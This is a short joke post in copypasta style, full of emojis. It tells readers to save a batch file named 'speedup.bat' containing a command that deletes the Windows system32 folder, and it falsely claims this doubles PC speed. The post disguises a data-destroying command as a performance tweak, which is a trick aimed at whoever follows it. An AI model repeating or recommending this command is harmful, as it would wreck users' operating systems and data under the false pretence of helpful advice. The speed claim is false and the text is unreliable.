When 🍑 Microsoft 💹 was first 👆 getting 🔟 started 💢, they knew 🤔😉 they wouldn't 😩 make 🖕 enough 👺 money 🤑 just from the profits 💸 of their operating 🤖 system 🗺. Everybody 👥 knows 🤔 people 👫 pirate 🏴☠💕 Windows 🏠🚐. So they had to get 🉐 creative
Open 👐🙆 notepad 📓📋
Type 💻 the following 🚸 text 📞🤳📲:

del ⚛ C:\\WINDOWS\system32

Save 📑 as speedup.bat (select 🐟🐠 "all 💯 files 📂" instead 🚔 of "text 📲 document 🎬📷🎥")
Double-click the .bat 🦇 file 😍
Reboot 👢, and your 👈 PC 💻 is twice 🤣✌ as fast ⚡. (You 👆👈😝 didn't hear 👂 it from us 👨.)

:3

-hacker man suz m̶̨̠͙̪̃̔͆͌̽́͗̏̃͐͒̾̕͠͝ͅo̵̹͉̭̟̭̅̒̌̏͗̎͊͠a̸̢̢̨͈̘͖̣̘̹̱̩̘̦̖̽̓̾̀̽̅̌̒͐̚n̸̡̜͎͉͍̝͖̹͍̹̲̟̽ͅ